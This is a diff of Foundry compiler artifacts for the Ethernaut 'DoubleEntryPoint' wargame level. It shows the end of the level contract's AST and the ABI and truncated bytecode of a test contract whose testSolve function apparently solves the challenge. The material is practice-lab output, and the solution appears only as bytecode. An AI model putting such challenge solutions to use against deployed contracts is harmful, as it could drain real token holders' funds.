(uint256)"}},"id":51801,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3356:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3332:59:71"},{"expression":{"arguments":[{"id":51806,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3439:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":51807,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3447:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51808,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3451:4:71","memberName":"data","nodeType":"MemberAccess","src":"3447:8:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"id":51803,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3426:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51805,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3432:6:71","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":51551,"src":"3426:12:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3426:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51810,"nodeType":"ExpressionStatement","src":"3426:30:71"},{"id":51811,"nodeType":"PlaceholderStatement","src":"3497:1:71"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51817,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51814,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3579:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51812,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3557:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3563:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3557:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3557:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":51816,"name":"previousValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51797,"src":"3595:13:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3557:51:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51822,"nodeType":"IfStatement","src":"3553:102:71","trueBody":{"expression":{"arguments":[{"hexValue":"416c65727420686173206265656e207472696767657265642c20726576657274696e67","id":51819,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3617:37:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""},"value":"Alert has been triggered, reverting"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""}],"id":51818,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3610:6:71","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":51820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3610:45:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51821,"nodeType":"ExpressionStatement","src":"3610:45:71"}}]},"name":"fortaNotify","nameLocation":"3191:11:71","parameters":{"id":51785,"nodeType":"ParameterList","parameters":[],"src":"3202:2:71"},"virtual":false,"visibility":"internal"},{"id":51849,"nodeType":"FunctionDefinition","src":"3668:247:71","nodes":[],"body":{"id":51848,"nodeType":"Block","src":"3845:70:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51841,"name":"origSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51830,"src":"3865:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51842,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51826,"src":"3877:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51843,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51828,"src":"3881:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51840,"name":"_transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47622,"src":"3855:9:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":51844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3855:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51845,"nodeType":"ExpressionStatement","src":"3855:32:71"},{"expression":{"hexValue":"74727565","id":51846,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3904:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":51839,"id":51847,"nodeType":"Return","src":"3897:11:71"}]},"baseFunctions":[51462],"functionSelector":"9cd1a121","implemented":true,"kind":"function","modifiers":[{"id":51834,"kind":"modifierInvocation","modifierName":{"id":51833,"name":"onlyDelegateFrom","nameLocations":["3781:16:71"],"nodeType":"IdentifierPath","referencedDeclaration":51784,"src":"3781:16:71"},"nodeType":"ModifierInvocation","src":"3781:16:71"},{"id":51836,"kind":"modifierInvocation","modifierName":{"id":51835,"name":"fortaNotify","nameLocations":["3806:11:71"],"nodeType":"IdentifierPath","referencedDeclaration":51824,"src":"3806:11:71"},"nodeType":"ModifierInvocation","src":"3806:11:71"}],"name":"delegateTransfer","nameLocation":"3677:16:71","overrides":{"id":51832,"nodeType":"OverrideSpecifier","overrides":[],"src":"3764:8:71"},"parameters":{"id":51831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51826,"mutability":"mutable","name":"to","nameLocation":"3702:2:71","nodeType":"VariableDeclaration","scope":51849,"src":"3694:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51825,"name":"address","nodeType":"ElementaryTypeName","src":"3694:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51828,"mutability":"mutable","name":"value","nameLocation":"3714:5:71","nodeType":"VariableDeclaration","scope":51849,"src":"3706:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51827,"name":"uint256","nodeType":"ElementaryTypeName","src":"3706:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51830,"mutability":"mutable","name":"origSender","nameLocation":"3729:10:71","nodeType":"VariableDeclaration","scope":51849,"src":"3721:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51829,"name":"address","nodeType":"ElementaryTypeName","src":"3721:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3693:47:71"},"returnParameters":{"id":51839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51838,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51849,"src":"3835:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51837,"name":"bool","nodeType":"ElementaryTypeName","src":"3835:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3834:6:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"446f75626c65456e747279506f696e74546f6b656e","id":51722,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2587:23:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_acd02697b9842d4d6df3ca155d849bd2482081e76cdcc10837c68f4b739e609c","typeString":"literal_string \"DoubleEntryPointToken\""},"value":"DoubleEntryPointToken"},{"hexValue":"444554","id":51723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2612:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0e7ffae0b7eacea784bd2a5973596e3df0c9a32c97db9ebf789b252819ae06c4","typeString":"literal_string \"DET\""},"value":"DET"}],"baseName":{"id":51721,"name":"ERC20","nameLocations":["2581:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"2581:5:71"},"id":51724,"nodeType":"InheritanceSpecifier","src":"2581:37:71"},{"baseName":{"id":51725,"name":"DelegateERC20","nameLocations":["2620:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2620:13:71"},"id":51726,"nodeType":"InheritanceSpecifier","src":"2620:13:71"},{"baseName":{"id":51727,"name":"Ownable","nameLocations":["2635:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2635:7:71"},"id":51728,"nodeType":"InheritanceSpecifier","src":"2635:7:71"}],"canonicalName":"DoubleEntryPoint","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51850,46700,51463,47861,47964,47939,48281],"name":"DoubleEntryPoint","nameLocation":"2561:16:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]}],"license":"MIT"},"id":71} \ No newline at end of file diff --git a/contracts/out/DoubleEntryPoint.t.sol/TestDoubleEntryPoint.json b/contracts/out/DoubleEntryPoint.t.sol/TestDoubleEntryPoint.json new file mode 100644 index 000000000..007ba6ed8 --- /dev/null +++ b/contracts/out/DoubleEntryPoint.t.sol/TestDoubleEntryPoint.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b5061970b806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001bb3565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bf6565b620001b3620001fa36600462001ce2565b62000a2b565b6200020a62000bf6565b604051620001c7919062001db5565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e78565b620001da6200025736600462001f45565b62000ef8565b6200019a62001088565b620002716200124d565b604051620001c7919062001f5d565b620001b36200029136600462001fc3565b62001322565b6200023762001441565b620002b8620002b236600462001fe1565b6200153b565b6040519015158152602001620001c7565b62000271620016cb565b6200019a620017a0565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001839565b620001da6200190d565b6200019a6200032f36600462001f45565b6200196d565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f815181106200036757620003676200201d565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b50505050806001815181106200044957620004496200201d565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001322565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b55565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f9190810190620020be565b905080600182516200098291906200224e565b815181106200099557620009956200201d565b60200260200101515f0151600281518110620009b557620009b56200201d565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002264565b90505f81848560405160200162000acd929190620022b6565b60408051601f198184030181529082905262000aed929160200162002364565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002396565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002264565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019e190919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b90620023aa565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb990620023aa565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c44565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620023e4565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f6200201d565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f60215f9054906101000a90046001600160a01b03166001600160a01b031663d8670e1f6040518163ffffffff1660e01b8152600401602060405180830381865afa15801562001148573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200116e9190620023e4565b90505f81604051620011809062001b63565b6001600160a01b039091168152602001604051809103905ff080158015620011aa573d5f803e3d5ffd5b506040517f9e927c680000000000000000000000000000000000000000000000000000000081526001600160a01b03808316600483015291925090831690639e927c68906024015f604051808303815f87803b15801562001209575f80fd5b505af11580156200121c573d5f803e3d5ffd5b50506020546021546200124993506200124392506001600160a01b0391821691166200153b565b62001a83565b5050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200129090620023aa565b80601f0160208091040260200160405190810160405280929190818152602001828054620012be90620023aa565b80156200130d5780601f10620012e3576101008083540402835291602001916200130d565b820191905f5260205f20905b815481529060010190602001808311620012ef57829003601f168201915b50505050508152602001906001019062001270565b5f80604051620013329062001b71565b604051809103905ff0801580156200134c573d5f803e3d5ffd5b5090505f6040516200135e9062001b7f565b604051809103905ff08015801562001378573d5f803e3d5ffd5b508483604051620013899062001b8d565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013c3573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001422575f80fd5b505af115801562001435573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200152257602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014ce5790505b5050505050815250508152602001906001019062001464565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001597575f80fd5b505af1158015620015aa573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001608575f80fd5b505af11580156200161b573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200167f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016a89190810190620020be565b9050600181511115620016c0576001915050620016c5565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200170e90620023aa565b80601f01602080910402602001604051908101604052809291908181526020018280546200173c90620023aa565b801562